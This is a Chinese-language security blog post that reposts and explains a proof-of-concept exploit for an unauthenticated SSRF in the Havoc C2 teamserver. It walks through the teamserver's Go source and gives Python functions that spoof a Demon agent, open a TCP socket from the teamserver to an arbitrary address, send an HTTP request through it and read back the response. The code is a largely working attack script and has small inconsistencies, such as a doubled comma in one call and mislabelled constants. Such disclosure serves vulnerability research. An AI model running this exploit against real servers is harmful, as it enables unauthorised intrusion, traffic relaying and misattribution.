反制Havoc C2 teamserver的SSRF

文摘   2024-07-20 17:48   北京  

来自chebuya老哥发现的漏洞和的poc:

https://github.com/chebuya/Havoc-C2-SSRF-poc


使用方式:


usage: exploit.py [-h] -t TARGET -i IP -p PORT [-A USER_AGENT] [-H HOSTNAME] [-u USERNAME] [-d DOMAIN_NAME]

[-n PROCESS_NAME] [-ip INTERNAL_IP]

options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The listener target in URL format
-i IP, --ip IP The IP to open the socket with
-p PORT, --port PORT The port to open the socket with
-A USER_AGENT, --user-agent USER_AGENT
The User Agent for the spoofed agent
-H HOSTNAME, --hostname HOSTNAME
The hostname for the spoofed agent
-u USERNAME, --username USERNAME
The username for the spoofed agent
-d DOMAIN_NAME, --domain-name DOMAIN_NAME
The domain name for the spoofed agent
-n PROCESS_NAME, --process-name PROCESS_NAME
The process name for the spoofed agent
-ip INTERNAL_IP, --internal-ip INTERNAL_IP
The internal ip for the spoofed agent


介绍:

Havoc C2(https://github.com/HavocFramework/Havoc)是一款比较新且灵活扩展开发的后渗透和控制框架,主要针对Windows系统,受到红队成员和攻击者的广泛使用。在审计其代码库时,发现了一个漏洞,该漏洞允许未经身份验证的攻击者在teamserver上创建具有任意IP/端口的TCP套接字,并通过该套接字读写流量。利用这一漏洞,攻击者可以泄露隐藏在公共重定向器之后的teamserver的原始IP地址(归因),利用存在漏洞的teamserver作为重定向器(错误归因),以及通过teamserver上任何监听的socks代理路由流量。

漏洞具体分析:

在 Havoc 中,默认代理称为 Demon。Havoc 的可延展设计要求每种类型的代理都有一个关联的处理程序,该处理程序是负责解析和处理代理回调的后端代码。当 C2 操作员创建侦听器时,这些处理程序的攻击面将暴露出来,该侦听器通常通过 HTTP/HTTPS 进行。这些侦听器通常会暴露在团队服务器本身的关联端口 (80/443) 上,或者暴露在可公开访问的重定向器上。

让我们从跟踪代码流到初始demon代理注册开始

启动teamserver或添加新侦听器后,ListenerStart函数将配置并启动侦听器。我们可以在这段代码的底部看到,调用了Start()函数。

func (t *Teamserver) ListenerStart(ListenerType int, info any) error {  ...  switch ListenerType {
case handlers.LISTENER_HTTP: var HTTPConfig = handlers.NewConfigHttp() var config = info.(handlers.HTTPConfig)
HTTPConfig.Config = config
HTTPConfig.Config.Secure = config.Secure // HTTPConfig.RoutineFunc = Functions HTTPConfig.Teamserver = t
HTTPConfig.Start()
在函数Start() 中,我们可以观察到所有 POST 请求都映射到 h.request 函数。
func (h *HTTP) Start() {  logger.Debug("Setup HTTP/s Server")
if len(h.Config.Hosts) == 0 && h.Config.PortBind == "" && h.Config.Name == "" { logger.Error("HTTP Hosts/Port/Name not set") return }
h.GinEngine.POST("/*endpoint", h.request) ...

在h.request函数中,我们可以看到post正文被读入body变量,对路径和用户代理进行护栏检查(这些可以通过分析demon二进制文件、其流量或基于公共c2配置文件进行暴力破解来获得)。如果请求通过了这些检查,Body变量将被传递给parseAgentRequest函数
func (h *HTTP) request(ctx *gin.Context) {  var ExternalIP string  var MissingHdr string
Body, err := io.ReadAll(ctx.Request.Body) if err != nil { logger.Debug("Error while reading request: " + err.Error()) }
...
// check that the URI is defined on the profile if len(h.Config.Uris) > 0 && ! (len(h.Config.Uris) == 1 && h.Config.Uris[0] == "") { valid = false for _, Uri := range h.Config.Uris { if ctx.Request.RequestURI == Uri { valid = true break } }
if valid == false { logger.Warn(fmt.Sprintf("got a request with an invalid request path: %s", ctx.Request.RequestURI)) h.fake404(ctx) return } }
// check that the User-Agent is valid if h.Config.UserAgent != "" { if h.Config.UserAgent != ctx.Request.UserAgent() { logger.Warn(fmt.Sprintf("got a request with an invalid user agent: %s", ctx.Request.UserAgent())) h.fake404(ctx) return } }
... if Response, Success := parseAgentRequest(h.Teamserver, Body, ExternalIP); Success { _, err := ctx.Writer.Write(Response.Bytes()) if err != nil { logger.Debug("Failed to write to request: " + err.Error()) h.fake404(ctx) return } } else { logger.Warn("failed to parse agent request") h.fake404(ctx) return }
ctx.AbortWithStatus(http.StatusOK) return
在parseAgentRequest函数中,我们可以观察到代理标头从POST数据中解析出来(下面将详细介绍其工作原理),并随后检查magic字节。magic字节用于确定代理回调是属于demon代理还是第三方代理。而且DEMON_MAGIC_VALUE值是0xdeadbeef,是公开的。
func parseAgentRequest(Teamserver agent.TeamServer, Body []byte, ExternalIP string) (bytes.Buffer, bool) {
var ( Header agent.Header Response bytes.Buffer err error )
Header, err = agent.ParseHeader(Body) if err != nil { logger.Debug("[Error] Header: " + err.Error()) return Response, false }
if Header.Data.Length() < 4 { return Response, false }
// handle this demon connection if the magic value matches if Header.MagicValue == agent.DEMON_MAGIC_VALUE { return handleDemonAgent(Teamserver, Header, ExternalIP) }
// If it's not a Demon request then try to see if it's a 3rd party agent. return handleServiceAgent(Teamserver, Header, ExternalIP)}
检查该 ParseHeader 函数,我们可以看到对 ParseInt32() 的多个调用。此函数将读取 Parser 对象中的 4 个字节的数据,后续调用将读取接下来的 4 个字节的数据。因此,POST 主体的前 4 个字节被读入 Header.Size 字段,bytes[4:8] 被读入 Header.MagicValue ,bytes[8:12] 被读入 Header.AgentID 字段。bytes[12:] 被分配给字段 Header.Data 。
func ParseHeader(data []byte) (Header, error) {  var (    Header = Header{}    Parser = parser.NewParser(data)  )
if Parser.Length() > 4 { Header.Size = Parser.ParseInt32() } else { return Header, errors.New("failed to parse package size") }
if Parser.Length() > 4 { Header.MagicValue = Parser.ParseInt32() } else { return Header, errors.New("failed to parse magic value") }
if Parser.Length() > 4 { Header.AgentID = Parser.ParseInt32() } else { return Header, errors.New("failed to parse agent id") }
Header.Data = Parser return Header, nil}
如果解析的magic值与parseAgentRequest函数中的0xdeadbife匹配,我们可以观察到Header变量被传递给handleDemonAgent函数。我们可以看到,如果发现AgentID不存在,我们将使用另一个分支来处理代理注册尝试。teamserver将把字节[12:16]读入Command变量,并将其与恒定值99的DEMON_INIT进行比较。如果是这样的话,我们可以观察到ParseDemonRegisterRequest函数正在创建代理结构。ParseDemonRegisterRequest传递AgentID(字节[8:12])和Header。数据(字节[16:])
func handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) {  ...
/* check if the agent exists. */ if Teamserver.AgentExist(Header.AgentID) { ... } else { logger.Debug("Agent does not exists. hope this is a register request")
var ( Command = Header.Data.ParseInt32() )
/* TODO: rework this. */ if Command == agent.DEMON_INIT { // RequestID, unused on DEMON_INIT Header.Data.ParseInt32()
Agent = agent.ParseDemonRegisterRequest(Header.AgentID, Header.Data, ExternalIP) if Agent == nil { return Response, false }
Agent.Info.MagicValue = Header.MagicValue Agent.Info.Listener = nil /* TODO: pass here the listener instance/name */
Teamserver.AgentAdd(Agent) Teamserver.AgentSendNotify(Agent) ...
在ParseDemonRegisterRequest函数中,可以看到Parser变量的前两个读取是AESKey和AESIv变量。demon agent将加密这两个变量之后的所有内容,因此在函数继续之前,Parser变量中的其余字节将被解密。解密调用后,可以观察到ParseInt32()、ReadInt64()和ReadBytes()的多个Parser调用,这些调用将提取其余的注册信息。读取所有注册信息后,将返回Session变量,之后,如果引用handleDemonAgent函数可以观察到,在调用ParseDemonRegisterRequest后,新创建的代理将添加到teamserver代理数组中。
func ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, ExternalIP string) *Agent {  ...  if Parser.Length() >= 32+16 {
var Session = &Agent{ Encryption: struct { AESKey []byte AESIv []byte }{ AESKey: Parser.ParseAtLeastBytes(32), AESIv: Parser.ParseAtLeastBytes(16), },
Active: false, SessionDir: "",
Info: new(AgentInfo), }
// check if there is aes key/iv. if bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 { Parser.DecryptBuffer(Session.Encryption.AESKey, Session.Encryption.AESIv) }
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) { DemonID = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Parsed DemonID: %x", DemonID))
if AgentID != DemonID { if AgentID != 0 { logger.Debug("Failed to decrypt agent init request") return nil } } else { logger.Debug(fmt.Sprintf("AgentID (%x) == DemonID (%x)\n", AgentID, DemonID)) }
Hostname = Parser.ParseString() Username = Parser.ParseString() DomainName = Parser.ParseString() InternalIP = Parser.ParseString()
if ExternalIP != "" { Session.Info.ExternalIP = ExternalIP } ... ProcessName = Parser.ParseUTF16String() ProcessPID = Parser.ParseInt32() ProcessTID = Parser.ParseInt32() ProcessPPID = Parser.ParseInt32() ProcessArch = Parser.ParseInt32() Elevated = Parser.ParseInt32() BaseAddress = Parser.ParseInt64() ... OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()} OsArch = Parser.ParseInt32() SleepDelay = Parser.ParseInt32() SleepJitter = Parser.ParseInt32() KillDate = Parser.ParseInt64() WorkingHours = int32(Parser.ParseInt32()) ... Session.Active = true
Session.NameID = fmt.Sprintf("%08x", DemonID) Session.Info.MagicValue = MagicValue Session.Info.FirstCallIn = time.Now().Format("02/01/2006 15:04:05") Session.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") Session.Info.Hostname = Hostname Session.Info.DomainName = DomainName Session.Info.Username = Username Session.Info.InternalIP = InternalIP Session.Info.SleepDelay = SleepDelay Session.Info.SleepJitter = SleepJitter Session.Info.KillDate = KillDate Session.Info.WorkingHours = WorkingHours ... Session.Info.OSVersion = getWindowsVersionString(OsVersion) ... process := strings.Split(ProcessName, "\\")
Session.Info.ProcessName = process[len(process)-1] Session.Info.ProcessPID = ProcessPID Session.Info.ProcessTID = ProcessTID Session.Info.ProcessPPID = ProcessPPID Session.Info.ProcessPath = ProcessName Session.Info.BaseAddress = BaseAddress Session.BackgroundCheck = false ... return Session ...

为什么关心注册代理?如果引用这个 parseAgentRequest 函数,就可以看到如果代理存在,执行被传递给另一个分支。因此,一旦注册了一个代理,第一个分支下的任何内容都可以进行攻击。
  /* check if the agent exists. */  if Teamserver.AgentExist(Header.AgentID) {  ...  } else {    logger.Debug("Agent does not exists. hope this is a register request")

为了模拟代理注册,我们需要创建一个 POST 请求,其主体结构如下:
[ SIZE         ] 4 bytes[ Magic Value  ] 4 bytes[ Agent ID     ] 4 bytes[ COMMAND ID   ] 4 bytes[ Request ID   ] 4 bytes[ AES KEY      ] 32 bytes[ AES IV       ] 16 bytesAES Encrypted {  [ Agent ID     ] 4 bytes <-- this is needed to check if we successfully decrypted the data  [ Host Name    ] size + bytes  [ User Name    ] size + bytes  [ Domain       ] size + bytes  [ IP Address   ] 16 bytes?  [ Process Name ] size + bytes  [ Process ID   ] 4 bytes  [ Parent  PID  ] 4 bytes  [ Process Arch ] 4 bytes  [ Elevated     ] 4 bytes  [ Base Address ] 8 bytes  [ OS Info      ] ( 5 * 4 ) bytes  [ OS Arch      ] 4 bytes  ..... more}

在该漏洞利用中,注册代理如下所示:
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):    # DEMON_INITIALIZE / 99    command = b"\x00\x00\x00\x63"    request_id = b"\x00\x00\x00\x01"    demon_id = agent_id
hostname_length = int_to_bytes(len(hostname)) username_length = int_to_bytes(len(username)) domain_name_length = int_to_bytes(len(domain_name)) internal_ip_length = int_to_bytes(len(internal_ip)) process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...") r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")

magic = b"\xde\xad\xbe\xef"teamserver_listener_url = "http://TARGET"headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" }agent_id = int_to_bytes(random.randint(100000, 1000000))AES_Key = b"\x00" * 32AES_IV = b"\x00" * 16hostname = b"DESKTOP-7F61JT1"username = b"neo"domain_name = b"MATRIX"internal_ip = b"10.1.33.7"process_name = "msedge.exe".encode("utf-16le")process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip,,process_name, process_id)

现在我们已经成功注册了代理,我们可以攻击Teamserver后面的任何东西。Agent存在(Header.AgentID)检查,让追踪流向SSRF接收器的流量。查看parseAgentRequest函数中的另一个分支,可以看到Command变量是从Header中解析出来的。观察到数据和随后对DecryptBuffer的调用。在这些流程之后,我们可以看到代理人。如果Command变量设置为COMMANDGET_JOB(0x01),则调用TaskDispatch函数
  /* check if the agent exists. */  if Teamserver.AgentExist(Header.AgentID) {
/* get our agent instance based on the agent id */ Agent = Teamserver.AgentInstance(Header.AgentID) Agent.UpdateLastCallback(Teamserver)
// while we can read a command and request id, parse new packages first_iter := true asked_for_jobs := false for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) { Command = uint32(Header.Data.ParseInt32()) RequestID = uint32(Header.Data.ParseInt32())
/* check if this is a 'reconnect' request */ if Command == agent.DEMON_INIT { ... }
if first_iter { first_iter = false // if the message is not a reconnect, decrypt the buffer Header.Data.DecryptBuffer(Agent.Encryption.AESKey, Agent.Encryption.AESIv) }
/* The agent is sending us the result of a task */ if Command != agent.COMMAND_GET_JOB { Parser := parser.NewParser(Header.Data.ParseBytes()) Agent.TaskDispatch(RequestID, Command, Parser, Teamserver) } else { asked_for_jobs = true } }

该 TaskDispatch 功能负责为操作员从客户端发出的任务提供给代理以执行。由于不能强迫操作员发出新任务,所以我对此函数下的审计路径很感兴趣,这些路径不需要操作员发出要执行的任务 - 尤其是那些具有某种可滥用功能的路径。我们可以看到,在这个函数的第一部分,有一个对函数 IsKnownRequestID 的调用。如果这个函数返回 false,我们将被 teamserver 拒绝。
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {  var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)  AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */ if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false { logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID)) return }

查看IsKnownRequestID函数,我们可以在底部看到代码迭代代理任务切片,如果有一个任务RequestID与我们发送的任务相匹配,则将返回true。由于RequestID是一个无符号的32位整数,我们不希望暴力破解正确的RequestID,而且由于我们无法访问运算符接口,我们无法生成有效的RequestID。然而,我们可以预先看到3个额外的检查,无论RequestID如何(因此,无论指挥与控制操作员是否发出任务),这些检查都将返回true
// check that the request the agent is validfunc (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool {  // some commands are always accepted because they don't follow the "send task and get response" format  switch CommandID {  case COMMAND_SOCKET:    return true  case COMMAND_PIVOT:    return true  }
if teamserver.SendLogs() && CommandID == BEACON_OUTPUT { // if SendLogs is on, accept all BEACON_OUTPUT so that the agent can send logs return true }
for i := range a.Tasks { if a.Tasks[i].RequestID == RequestID { return true } } return false}

我们注意到,即使没有发出匹配任务,团队服务器也会处理以下 CommandID。
COMMAND_SOCKETCOMMAND_PIVOTBEACON_OUTPUT

在TaskDispatch函数中往下看,可以看到每个CommandID都有一个switch语句和一个case
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {  var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)  AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */ if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false { logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID)) return }
switch CommandID { case COMMAND_GET_JOB: ... case COMMAND_OUTPUT: case BEACON_OUTPUT: // We can reach this case COMMAND_INJECT_DLL: ... case COMMAND_PIVOT: // We can reach this case COMMAND_TRANSFER: case COMMAND_SOCKET: // We can reach this case COMMAND_KERBEROS: ...

让我们看看存在漏洞的COMMAND_SOCKET问题点。我们可以看到一个SubCommand变量被读取,另一个switch语句开始。这似乎是demon反向端口转发能力的一部分,并且没有受到保护
case COMMAND_SOCKET:  var (    SubCommand = 0    Message    map[string]string  )
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
SubCommand = Parser.ParseInt32()
switch SubCommand { case SOCKET_COMMAND_RPORTFWD_ADD: case SOCKET_COMMAND_RPORTFWD_LIST: case SOCKET_COMMAND_RPORTFWD_REMOVE: case SOCKET_COMMAND_RPORTFWD_CLEAR: case SOCKET_COMMAND_SOCKSPROXY_ADD: case SOCKET_COMMAND_OPEN: case SOCKET_COMMAND_READ: case SOCKET_COMMAND_WRITE: case SOCKET_COMMAND_CLOSE: case SOCKET_COMMAND_CONNECT: default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)", AgentID, SubCommand)) }

查看SOCKET_COMMND_OPEN问题点,我们可以看到从解析器中读取了一些看起来与创建套接字相关的变量。接下来,我们观察到使用这些新创建的变量调用PortFwdNew。
case SOCKET_COMMAND_OPEN:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var ( SocktID = 0 LclAddr = 0 LclPort = 0 FwdAddr = 0 FwdPort = 0
FwdString string )
SocktID = Parser.ParseInt32() LclAddr = Parser.ParseInt32() LclPort = Parser.ParseInt32() FwdAddr = Parser.ParseInt32() FwdPort = Parser.ParseInt32()
// avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))
FwdString = common.Int32ToIpString(int64(FwdAddr)) FwdString = fmt.Sprintf("%s:%d", FwdString, FwdPort)
if Socket := a.PortFwdGet(SocktID); Socket != nil { /* Socket already exists. don't do anything. */ logger.Debug("Socket already exists") return }
/* add this rportfwd */ a.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString)
/* we will open the rportfwd client only after we have something to write */
} else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet", AgentID)) }
break

在函数中 PortFwdNew ,我们看到使用传入的参数创建了一个 &PortFwd 结构体,并将其添加到代理 PortFwds 切片中
func (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort int, Target string) {  var portfwd = &PortFwd{    Conn:    nil,    SocktID: SocketID,    LclAddr: LclAddr,    LclPort: LclPort,    FwdAddr: FwdAddr,    FwdPort: FwdPort,    Target:  Target,  }
a.PortFwdsMtx.Lock() a.PortFwds = append(a.PortFwds, portfwd)
a.PortFwdsMtx.Unlock()}

实际打开套接字的是socket_COMMAND_READ。查看代码,我们可以看到SocketID变量是从Parser读取的,并在通过对其他一些变量的一些检查后最终传递给PortFwdOpen函数。
case SOCKET_COMMAND_READ:  /* if we receive the SOCKET_COMMAND_READ command   * that means that we should read the callback and send it to the forwared host/socks proxy */
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( SocktID = Parser.ParseInt32() Type = Parser.ParseInt32() Success = Parser.ParseInt32() )
if Success == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var( Data = Parser.ParseBytes() ) // avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x", AgentID, SocktID, Type, len(Data)))
if Type == SOCKET_TYPE_CLIENT {
/* we only open rportfwd clients once we have data to write */ opened, err := a.PortFwdIsOpen(SocktID) if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward host: %v", err), "") return }
/* if first time, open the client */ if opened == false { err := a.PortFwdOpen(SocktID) if err != nil { logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err)) a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "") return } }

PortFwdOpen函数执行了所期望的操作:它检索在PortFwdNew函数中创建的PortFwd结构并将其传递给网络。拨号。这将在teamserver上创建TCP套接字。从python代码执行此操作看起来像这样:
def open_socket(socket_id, target_address, target_port):    # COMMAND_SOCKET / 2540    command = b"\x00\x00\x09\xec"    request_id = b"\x00\x00\x00\x02"
# SOCKET_COMMAND_OPEN / 16 subcommand = b"\x00\x00\x00\x10" sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22" local_port = b"\x33\x33\x33\x33"

forward_addr = b"" for octet in target_address.split(".")[::-1]: forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id data = agent_header + header_data

print("[***] Trying to open socket on the teamserver...") r = requests.post(teamserver_listener_url, data=data, headers=headers) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
# 0xDEADBEEFmagic = b"\xde\xad\xbe\xef"teamserver_listener_url = "http://192.168.1.32"headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"}agent_id = int_to_bytes(random.randint(100000, 1000000))AES_Key = b"\x00" * 32AES_IV = b"\x00" * 16hostname = b"DESKTOP-7F61JT1"username = b"neo"domain_name = b"MRTX"internal_ip = b"10.1.33.7"process_name = "msedge.exe".encode("utf-16le")process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"open_socket(socket_id, "44.221.186.72", 80)

现在我们看到套接字是如何打开的,让我们展示一下如何对其进行写入。我们可以看到,在调用PortFwdOpen之后,会发生一个PortFwdWrite调用,传递我们新创建的套接字的SocketID和解析器读取的Data变量。PortFwdFrite函数将通过SocketID检索套接字并将数据写入其中。
/* if first time, open the client */if opened == false {  err := a.PortFwdOpen(SocktID)  if err != nil {    logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))    a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")    return  }}
/* write the data to the forwarded host */err = a.PortFwdWrite(SocktID, Data)if err != nil { a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward socket 0x%08x: %v", SocktID, err), "") return}

在 python 代码中,写入套接字如下所示:
def write_socket(socket_id, data):    # COMMAND_SOCKET / 2540    command = b"\x00\x00\x09\xec"    request_id = b"\x00\x00\x00\x08"
# SOCKET_COMMAND_READ / 11 subcommand = b"\x00\x00\x00\x11" sub_request_id = b"\x00\x00\x00\xa1"
# SOCKET_TYPE_CLIENT / 3 socket_type = b"\x00\x00\x00\x03" success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand+socket_id+socket_type+success+data_length+data package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id post_data = agent_header + header_data
print("[***] Trying to write to the socket") r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")

# 0xDEADBEEFmagic = b"\xde\xad\xbe\xef"teamserver_listener_url = "http://192.168.1.32"headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"}agent_id = int_to_bytes(random.randint(100000, 1000000))AES_Key = b"\x00" * 32AES_IV = b"\x00" * 16hostname = b"DESKTOP-7F61JT1"username = b"neo"domain_name = b"MRTX"internal_ip = b"10.1.33.7"process_name = "msedge.exe".encode("utf-16le")process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"open_socket(socket_id, "44.221.186.72", 80)
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"write_socket(socket_id, request_data)

在PortFwdFrite调用之后,我们可以看到一个goroutine被启动,在该goroutine中,响应数据将从套接字读取并放置到作业结构中,然后添加到代理队列中。为了检索响应数据,我们需要欺骗另一个demon签入,以便从代理队列中检索作业。
if opened == false {  /* after we managed to open a socket to the forwarded host lets start a   * goroutine where we read the data from the forwarded host and send it to the agent. */  go func() {
for {
Data, err := a.PortFwdRead(SocktID) if err == nil {
/* only send the data if there is something... */ if len(Data) > 0 {
/* make a new job */ var job = Job{ Command: COMMAND_SOCKET, Data: []any{ SOCKET_COMMAND_WRITE, SocktID, Data, }, }
/* append the job to the task queue */ a.AddJobToQueue(job)

需要要检索功能,让我们回到handleDemonAgent函数。我们可以看到,如果Command变量是COMMANDGET_JOB,我们将传递TaskDispatch,teamserver将对JobQueue执行长度检查。如果我们的代理有工作,我们可以看到一个有效载荷正在构建并作为响应编写。
/* check if the agent exists. */if Teamserver.AgentExist(Header.AgentID) {  ...  for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {    ...    /* The agent is sending us the result of a task */    if Command != agent.COMMAND_GET_JOB {      Parser := parser.NewParser(Header.Data.ParseBytes())      Agent.TaskDispatch(RequestID, Command, Parser, Teamserver)    } else {      asked_for_jobs = true    }  }
/* if there is no job then just reply with a COMMAND_NOJOB */ if asked_for_jobs == false || len(Agent.JobQueue) == 0 { ... } else { /* if there is a job then send the Task Queue */ var ( job = Agent.GetQueuedJobs() payload = agent.BuildPayloadMessage(job, Agent.Encryption.AESKey, Agent.Encryption.AESIv) )
// write the response to the buffer _, err = Response.Write(payload)

在python代码中,欺骗性检索看起来像这样。这就完成了我们未经验证的完整读取的SSRF:
def read_socket(socket_id):    # COMMAND_GET_JOB / 1    command = b"\x00\x00\x00\x01"    request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...") r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False) if r.status_code == 200: print("[***] Read socket output successfully!") else: print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}") return ""
command_id = int.from_bytes(r.content[0:4], "little") request_id = int.from_bytes(r.content[4:8], "little") package_size = int.from_bytes(r.content[8:12], "little") enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]

# 0xDEADBEEFmagic = b"\xde\xad\xbe\xef"teamserver_listener_url = "http://192.168.1.32"headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"}agent_id = int_to_bytes(random.randint(100000, 1000000))AES_Key = b"\x00" * 32AES_IV = b"\x00" * 16hostname = b"DESKTOP-7F61JT1"username = b"neo"domain_name = b"MRTX"internal_ip = b"10.1.33.7"process_name = "msedge.exe".encode("utf-16le")process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"open_socket(socket_id, "44.221.186.72", 80)
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())

军机故阁
最新的安全情报与技术
 最新文章